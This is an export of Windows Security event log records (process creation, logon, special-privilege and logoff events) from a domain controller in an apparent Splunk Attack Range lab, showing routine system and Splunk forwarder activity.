
Process Information:
	New Process ID:		0x10a8
	New Process Name:	C:\Windows\System32\reg.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1138
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\reg.exe  query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253964
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1138
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x110c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253963
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1110
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x110c
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:29 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253962
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x110c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x5d8
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /d /c C:\Windows\system32\silcollector.cmd configure

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:52 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253966
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x130c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:53 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253967
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1348
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:54 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x944
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:55 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253969
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe44
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:56 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253970
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x138c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253978
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8DEE2
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62296

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253977
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DEE2

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253976
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DDC0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253975
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8DDC0
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62295

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253974
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DDC0

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253973
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8DD66
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62294

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253972
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8DD66

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:52:57 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:52:59 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253979
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x294
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x8a4
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253982
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8E7C9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:53:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253981
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x8E7C9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62297

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:53:08 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253980
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x8E7C9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:53:45 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253983
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xf7c
	New Process Name:	C:\Windows\System32\svchost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x350
	Creator Process Name:	C:\Windows\System32\services.exe
	Process Command Line:	C:\Windows\System32\svchost.exe -k NetworkService

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:53:46 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253986
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Process Information:
	New Process ID:		0xa58
	New Process Name:	C:\Windows\System32\wbem\WmiPrvSE.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x260
